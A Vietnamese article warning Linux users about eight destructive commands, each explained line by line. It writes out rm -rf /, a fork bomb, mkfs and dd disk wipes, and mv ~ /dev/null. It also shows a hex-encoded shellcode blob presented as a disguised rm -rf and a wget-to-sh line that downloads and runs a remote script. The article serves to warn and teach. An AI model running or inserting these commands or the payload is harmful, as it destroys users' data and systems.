Cấm kỵ 8 lệnh mà bạn không bao giờ được chạy trên Linux

Nếu biết được 8 lệnh cấm kỵ không bao giờ được chạy trên Linux sau đây sẽ giúp bạn bảo vệ hệ thống đồng thời tránh được những hậu quả đáng tiếc trong quá trình thao tác làm việc.

Lệnh Terminal trên Linux có sức công phá khá mạnh, nếu bạn chạy một lệnh nào sẽ phá hủy hệ thống của bạn. Linux không yêu cầu bạn phải xác nhận khi chạy bất kỳ một lệnh nào.

Cấm kị: 8 lệnh mà bạn không bao giờ được chạy trên Linux 1

Lệnh xóa tất cả mọi thứ: rm -rf /

Lệnh rm -rf / sẽ xóa tất cả mọi thứ, kể cả các file trên ổ cứng và các file trên các thiết bị media kết nối với máy tính của bạn.

Để dễ hiểu hơn về câu lệnh này, bạn phân tích như sau:

  • rm – Xóa những file sau.
  • -rf – chạy rm (xóa tất cả các file và folder bên trong một folder xác định) và buộc phải xóa tất cả các file mà không hỏi ý kiến bạn trước.
  • / – Tells rm (nói rm) khởi động ở thư mục root, bao gồm tất cả các file trên máy tính của bạn.

Linux sẽ vui vẻ làm theo lệnh này và xóa mọi thứ mà không thông báo trước cho bạn, vì thế hãy cẩn thận khi sử dụng lệnh này.

Ngoài ra lệnh rm còn được sử dụng theo những cách rất nguy hiểm. Chẳng hạn, rm –rf ~ sẽ xóa mọi file trong Home Folder của bạn, còn rm -rf .* sẽ xóa tất cả các file cấu hình của bạn.

Lệnh trá hình: rm –rf /

Dưới đây là một đoạn mã trên tất cả các Web:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Đây thực chất là một phiên bản khác của rm –rf / – thực thi lệnh này cũng sẽ xóa hết các file của bạn, như bạn chạy lệnh rm –rf /.

Lệnh rất nguy hiểm: :(){ :|: & };:

Cấm kị: 8 lệnh mà bạn không bao giờ được chạy trên Linux 2

Dòng lệnh dưới đây nhìn có vẻ rất đơn giản nhưng thực chất chức năng của nó lại rất nguy hiểm:

:(){ :|: & };:

Dòng lệnh ngắn này sẽ tạo ra các bản sao mới của chính nó. Nghĩa là, quá trình sao lưu chính bản thân nó sẽ diễn ra liên tục và nhanh chóng khiến CPU và bộ nhớ của bạn bị đầy.

Ngoài ra nó có thể khiến máy tính của bạn bị đóng băng. Đó cơ bản là một vụ tấn công từ chối dịch vụ (DoS).

Lệnh formats ổ cứng: mkfs.ext4 /dev/sda1

Lệnh mkfs.ext4 /dev/sda1 là câu lệnh khá dễ hiểu:

  • mkfs.ext4 - tạo một hệ thống file ext4 trên thiết bị sau.
  • /dev/sda1 - xác định phân vùng đầu tiên trên ổ cứng đầu tiên, có thể đó là ổ cứng đang dùng.

Khi kết hợp 2 lệnh này tương đương với format ổ C: trên Windows – xóa hết các file trên phân vùng đầu tiên của bạn và thay thế chúng bằng hệ thống file mới.

Lệnh này có thể xuất hiện ở nhiều định dạng khác nhau, như - mkfs.ext3 /dev/sdb2 sẽ format phân vùng thứ hai trên ổ cứng thứ 2 của bạn với hệ thống file ext3.

Lệnh viết dữ liệu lên ổ cứng và phá hủy hệ thống file: command > /dev/sda

Dòng command > /dev/sda - chạy một lệnh và gửi ra kết quả của lệnh đó trực tiếp lên ổ cứng đầu tiên của bạn, viết dữ liệu thẳng vào ổ cứng và phá hủy hệ thống file của bạn.

Cấm kị: 8 lệnh mà bạn không bao giờ được chạy trên Linux 3
  • command – Chạy một lệnh (có thể là bất kỳ lệnh nào).
  • > – gửi đầu ra của lệnh đến vị trí sau.
  • /dev/sda – Viết đầu ra của lệnh trực tiếp lên thiết bị ổ cứng.

Lệnh viết những dữ liệu ngớ ngẩn lên ổ cứng: dd if=/dev/random of=/dev/sda

Dòng dd if=/dev/random of=/dev/sda sẽ xóa dữ liệu trên một trong các ổ cứng của bạn.

  • dd – là thực hiện sao chép ở mức độ thấp từ vị trí này sang vị trí khác.
  • if=/dev/random – Dùng /dev/random như là đầu vào – bạn có thể thấy các địa chỉ như /dev/zero.
  • of=/dev/sda – đầu ra đến ổ cứng thứ nhất, thay thế hệ thống file bằng những dữ liệu ngớ ngẩn ngẫu nhiên.

Lệnh di chuyển Home Directory của bạn đến một lỗ đen (Black Hole): mv ~ /dev/null

/dev/null - di chuyển cái gì đó đến /dev/null cũng tương tự như phá hủy nó. Hãy xem /dev/null là một lỗ đen. mv ~ /dev/null sẽ gửi hết tất cả các file cá nhân của bạn đến một lỗ đen.

  • mv – di chuyển file hoặc thư mục sau sang một vị trí khác.
  • ~ – Toàn bộ Folder Home của bạn.
  • /dev/null – Di chuyển Folder Home của bạn đến /dev/null, nó sẽ phá hủy tất cả các file của bạn và xóa các bản copy gốc.

Lệnh tải và chạy một script: wget http://example.com/something -O – | sh

Dòng lệnh trên sẽ tải một script từ trên web và gửi script đến sh, và sẽ thực thi các nội dung trong script. Điều này có thể nguy hiểm nếu bạn không chắc script là gì hoặc bạn không có nguồn script tin cậy – không được chạy những script không đáng tin cậy.

wget – tải một file.

http://example.com/something – tải file từ vị trí này.

| – Dẫn (gửi) đầu ra của lệnh wget (file bản đã tải) trực tiếp đến một lệnh khác.

sh – gửi file đến lệnh sh.

Trên đây là 8 lệnh cấm kỵ tuyệt đối không được chạy trên Linux, nếu vẫn chạy thì chúng sẽ gây ra những hậu quả đáng tiếc mà bạn không thể ngờ đến đấy.

Nguồn bài tham khảo: Quantrimang